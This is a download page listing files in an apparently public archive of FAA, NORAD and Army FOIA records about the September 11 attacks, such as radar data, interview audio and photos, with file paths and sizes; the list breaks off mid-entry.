911datasets.org

mpg   Hot:455   Size:47.61 GB   Created:2017-08-28 12:31:30   Update:2021-11-26 09:00:46  

Download link

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_document_foia.pdf", "length": 26673}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_foia_10272008.pdf", "length": 11892}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_interviews_02152008.pdf", "length": 13634}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_master_index.pdf", "length": 2558483}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cover02042008.pdf", "length": 112002}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cover11282007.pdf", "length": 112003}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit018.pdf", "length": 239514}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit032.pdf", "length": 543942}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit112.pdf", "length": 2076111}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit120.pdf", "length": 525726}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit190.pdf", "length": 548205}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit195.pdf", "length": 1231274}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit204.pdf", "length": 723960}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit209.pdf", "length": 330557}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit210.pdf", "length": 980201}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit213.pdf", "length": 646677}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit214.pdf", "length": 448941}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit218.pdf", "length": 2322297}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit225.pdf", "length": 541267}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit249.pdf", "length": 759310}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit271.pdf", "length": 499516}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit288.pdf", "length": 592096}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit295.pdf", "length": 521260}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit299.pdf", "length": 1224718}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit318.pdf", "length": 686186}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit320.pdf", "length": 584564}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit321.pdf", "length": 785447}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit322.pdf", "length": 632217}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit405.pdf", "length": 554599}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit419.pdf", "length": 927483}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit420.pdf", "length": 231626}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit428.pdf", "length": 1252114}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit455.pdf", "length": 395820}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit473.pdf", "length": 546796}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit489.pdf", "length": 529463}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit501.pdf", "length": 969335}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit503.pdf", "length": 4814769}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit515.pdf", "length": 639588}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit522.pdf", "length": 1444966}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit528.pdf", "length": 1156123}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit529.pdf", "length": 533794}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit542.pdf", "length": 970261}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit567.pdf", "length": 943982}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit579.pdf", "length": 567630}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit642.pdf", "length": 978801}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit643.pdf", "length": 740975}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit678.pdf", "length": 1218744}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit710.pdf", "length": 507520}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit748_749.pdf", "length": 486241}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit765.pdf", "length": 282379}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit780.pdf", "length": 1069428}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit049.mp3", "length": 40286566}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit064.mp3", "length": 34443496}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit067.mp3", "length": 34773266}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit123.mp3", "length": 3929550}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit152.mp3", "length": 24232336}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit188.mp3", "length": 14214690}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit300.mp3", "length": 27066517}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit301.mp3", "length": 34961766}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit303.mp3", "length": 27720205}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit305.mp3", "length": 24972541}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit319.mp3", "length": 43030050}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit323.mp3", "length": 35621723}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit387.mp3", "length": 35643875}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit393.mp3", "length": 23131431}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit396.mp3", "length": 36424205}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit421.mp3", "length": 10646572}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit422.mp3", "length": 22176394}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit423.mp3", "length": 11286886}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit426.mp3", "length": 4314491}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit427.mp3", "length": 26307085}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit429.mp3", "length": 40181240}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit440.mp3", "length": 44013508}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit459.mp3", "length": 41594360}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit461.mp3", "length": 30432342}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit508.mp3", "length": 24574226}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit521.mp3", "length": 38215160}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit524.mp3", "length": 31459268}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit590.mp3", "length": 34043510}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit596.mp3", "length": 45992545}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit635.mp3", "length": 43594713}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit641.mp3", "length": 86188515}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit658.mp3", "length": 42531843}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit680_682.mp3", "length": 43349371}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit683.mp3", "length": 78188776}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit709.mp3", "length": 38644404}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit714.mp3", "length": 28983278}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/cmh_audio/neit746_747.mp3", "length": 36590553}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0005_IMG.JPG", "length": 254218}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0007_IMG.JPG", "length": 263847}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0008_IMG.JPG", "length": 260409}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0010_IMG.JPG", "length": 273368}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0020_IMG.JPG", "length": 243429}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0026_IMG.JPG", "length": 308215}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0028_IMG.JPG", "length": 258847}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0029_IMG.JPG", "length": 230402}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100-0031_IMG.JPG", "length": 278387}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/100_0001.JPG", "length": 249888}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/Fairfax1.jpg", "length": 141247}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/Helicopter1.jpg", "length": 433465}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-090F.JPG", "length": 81349}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-091F.JPG", "length": 82584}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-092F.JPG", "length": 87234}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-093F.JPG", "length": 90978}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-094F.JPG", "length": 101128}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-095F.JPG", "length": 98578}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-096F.JPG", "length": 99763}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-097F.JPG", "length": 94711}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-098F.JPG", "length": 89631}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/MVC-099F.JPG", "length": 98400}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/PentagonAerial1a.jpg", "length": 174854}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/rr2.jpg", "length": 149514}, {"path": "FAA_RADES_NORAD_FOIA_Data/Army_Center_Of_Millitary_History_FOIA/neit749_photos/Thumbs.db", "length": 154112}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/1 AEA 2869 disc 1 DCA CDRTM AAL-77 9-11-01.ace", "length": 9383445}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/1 AEA 2869 disc 1 DCA CDRTM AAL-77 9-11-01.exe", "length": 166615659}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/1 DCA 113 CDRTM AAL77 9.11(2) from CD.txt", "length": 64971495}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/1 DCA 113 tg911 from CD.txt", "length": 21921630}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/1300_1319.csv", "length": 2815304}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/1320_1339.csv", "length": 2859435}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/1340_1400.csv", "length": 2286044}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/5 ADW 1 FAA 7230-8 Tower Flight Progress Strips.pdf", "length": 4819712}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/5 ADW 1 FAA 7230-8 TRACON Flight Progress Strips.pdf", "length": 1063649}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/aal11_ual93_flightplans.xls", "length": 99328}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/ADA_30 FAA Operations Center.pdf", "length": 1502814}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/dca_tracon.swf", "length": 30763782}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/FOIA 2008-3195 (Stark).xls", "length": 104448}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/foia2009_176_faahq_misc.pdf", "length": 738058}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/navy2008_04.pdf", "length": 61967}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/pinnacle_docs.pdf", "length": 528124}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/ProductionInfo.xml", "length": 11608}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/swfobject.js", "length": 6880}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/sept09122008cover.pdf", "length": 182033}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 A90 142 Text Data from 50 seconds of Radar Data 9-11.pdf", "length": 911204}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 1052 TRACK-PLOT RADAR PLOT REF AAL77.pdf", "length": 43035}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 1053 TRACK-PLOT RADAR PLOT REF AAL77.pdf", "length": 16685}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 2583 CD AAL77 NTAP data ZDC aal77a.txt", "length": 561382}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 2583 CD AAL77 NTAP data ZDC aal77b.TXT", "length": 1321728}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 2583 CD-ROM--ZDC RADAR DATA REF AAL77 NTAP FORMAT.pdf", "length": 55040}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 2869 disc 1 BWI CDR-TM AAL77 9-11-01.exe", "length": 130413576}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 2869 disc 1 DCA CDRTM AAL-77 9-11-01.exe", "length": 166615659}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 2869 disc 1 IAD CDRTM AAL77 9-11-01.exe", "length": 89603505}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 2869 disc 1 MDT CDRTM 9-11-01.exe", "length": 103857309}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AEA 2872 IAD 13-45-02--14-14-59 AAL77 9-11-01.exe", "length": 88563181}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 AAL77A1.TXT", "length": 20725}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 AAL77A2.TXT", "length": 15670}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 AAL77A3.TXT", "length": 18996}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 aal77c.txt", "length": 30173}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 aal77zob.file1", "length": 31001}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 badlogin.txt", "length": 4416}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 bwi-911x.txt", "length": 667648}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 bwi-tg.txt", "length": 10805782}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 bwi09-11.txt", "length": 8336521}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 CKS.TXT", "length": 46299060}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 Dca9-11.txt", "length": 16631310}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711 IADAAL.txt", "length": 51269579}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711a aal77a.txt", "length": 561382}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711a AAL77B.TXT", "length": 1321728}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711a Dca9-11.txt", "length": 16631310}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711b aal77a.txt", "length": 561382}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 711b AAL77B.TXT", "length": 1321728}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 714 pentagon_more2.mpg", "length": 12443652}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zdc_aal77_r03.beacon", "length": 7694784}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zdc_aal77_r03.info", "length": 26}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zdc_aal77_r03.primary", "length": 4531650}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zid_hnn2_9-11-01.info", "length": 26}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zid_hnn2_9-11-01.primary", "length": 674458}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zid_hnn3_9-11-01.beacon", "length": 1399089}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zid_hnn3_9-11-01.info", "length": 26}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zid_hnn3_9-11-01.primary", "length": 855652}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zid_hnn_9-11-01.beacon", "length": 782448}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zid_hnn_9-11-01.info", "length": 26}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715 zid_hnn_9-11-01.primary", "length": 683474}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 715DCA 9.11(2).txt", "length": 64971495}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 716 Pentagon and Observer.rs3", "length": 4143663}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 716 Pentagon Event Aircraft Replay.rs3", "length": 5720}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 716 Pentagon Event Aircraft.rs3", "length": 4116782}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 716 Pentagon Event and Observer Aircraft Replay.rs3", "length": 5705}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 716 Pentagon Time Filter Only Replay.rs3", "length": 5732}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 716 Pentagon Time Filter Only.rs3", "length": 11684853}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 733 AAL77-BEACON.doc", "length": 100864}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 734 1 AAL77.doc", "length": 140288}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 734 al77_2.doc", "length": 139776}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 737 AAL77 Master.doc", "length": 25088}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 842 AAL77.exe", "length": 47284586}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA 853 AAL77.exe", "length": 47667427}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA xx zid_hnn2_9-11-01.beacon", "length": 800094}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 AWA zid_hnn2_9-11-01.beacon", "length": 800094}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 DCA 113 911 radar from CD.txt", "length": 6987776}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 DCA 113 CDRTM AAL77 9.11(2) from CD.txt", "length": 64971495}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 DCA 113 tg911 from CD.txt", "length": 21921630}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 DCA 43 AAL77 terminal radar data.exe", "length": 47667427}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 DCC 1739 Radar Track Data AAL77 Radar Track.pdf", "length": 19534}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 10 Data CDR Plot Aircraft Position Inbound Pentagon.pdf", "length": 118847}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 11 PDC AAL77.txt", "length": 1095}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction iad007all.txt", "length": 1642978}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction IADAAL.txt", "length": 51269579}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction outmsg1.txt", "length": 16383}, {"path": "FAA_RADES_NORAD_FOIA_Data/Federal_Aviation_Administration_(FAA)/faa09122008/fadar/1 IAD 6 CDR extraction outmsg11.txt", "length": 26641}, {"path": 